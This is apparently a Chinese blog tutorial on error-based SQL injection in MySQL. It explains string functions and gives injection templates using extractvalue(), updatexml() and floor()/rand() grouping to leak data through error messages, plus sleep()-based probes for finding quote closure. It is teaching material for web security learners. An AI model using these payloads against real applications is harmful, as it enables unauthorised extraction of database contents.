sql注入之报错注入

目录

1.常用报错的函数

2.其他函数

一.extractvalue()

二.updetaxml()

1.常用报错的函数

(1)extractvalue()

(2)updataxml()

(3)floor()

2.其他函数

(1)substring():extractvalue()与updataxml()只能显示前32位字符,可以用substring()显示后面的字符

字符串.substring(字符串,参数1,参数2);
参数1:字符串截取的起始下标,非负的整数
如果此参数是0,则是从字符串的第一个字符开始截取
参数2:截取结束位置的索引下标

如substring(abc,1,2)为ab

   substring(abc,2,2)为bc

(2)substr():同substring()

(3)mid():MID() 函数用于从字符串中提取指定长度的子字符串,位置从 1 开始计数

MID(string, start, length):

string:要提取子字符串的原始字符串。
start:指定要开始提取子字符串的位置。
ength:指定要提取的子字符串的长度。

(3)concat():连接函数

如concat(a,b)为 ab

   concat(0x7e,(执行语句))为 #执行后的语句

(4)group_concat():GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。

(5)concat_ws()

CONCAT_WS(separator,str1,str2,…)

CONCAT_WS() 代表 CONCAT With Separator ,是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串,也可以是其它参数。如果分隔符为 NULL,则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。但是CONCAT_WS()不会忽略任何空字符串。 (然而会忽略所有的 NULL)。

如concat_ws('~',a,b)为 a~b

(6)limit 0,1 指定显示某一行 (concat()+limit可以与group_concat()互换)

一.extractvalue()

extractvalue(xml_document,xpath_string)

第一个参数是xml文档对象的名称

第二个参数作用是从xml文档对象中返回查询到的字符串值,返回结果长度限制在32位字符。

payload:extractvalue(null,concat(0x7e,(sql_inject),0x7e))

                (sql_inject)这个()是因为()内的语句优先执行

               extractvalue(null,concat(0x7e,substring(sql_inject,1,32),0x7e))

               extractvalue(null,concat(0x7e,substring(sql_inject,33,32),0x7e))

                                              .

                                              .

                                              .

注:利用extractvalue()对数据进行一个排序,指定第一个参数为null,可以换成1、#或者其他符号,使其报错,并执行第二个参数语句。0x7e表示”~“号。

二.updetaxml()

(与extractvalue()基本一样,只是updatexml(1,concat(),3)多了一个3的参数

updatexml(xml_document,xpath_string,new_value)

第一个参数,xml文档名称

第二个参数,xpath格式字符串

第三个参数,替换查找到的符合条件的数据

        作用是,改变文档中符合条件的节点的值

payload格式如下:

updatexml(1,concat(0x7e,(sqli_inject),0x7e),3)

updatexml(null,concat(0x7e,substring(sql_inject,1,32),0x7e),3)

updatexml(null,concat(0x7e,substring(sql_inject,33,32),0x7e),3)

                                              .

                                              .

                                              .

.floor()

payload

1' union select count(*),concat_ws('~',(sql_inject),floor(rand(0)*2)) as x from information_schema.tables group by x --+

(三种payload的形式都不固定,各种函数可以相互替代,需要根据实际情况而定)

四.补充(利用时间盲注判断闭合方式)

?id=1 and sleep(2) --+

?id=1' and sleep(2) --+

?id=1" and sleep(2) --+

?id=1') and sleep(2) --+

?id=1") and sleep(2) --+

本文payload详细可见:sql注入(6)报错注入_c10udy_的博客-CSDN博客


你可能感兴趣的:(sql,数据库)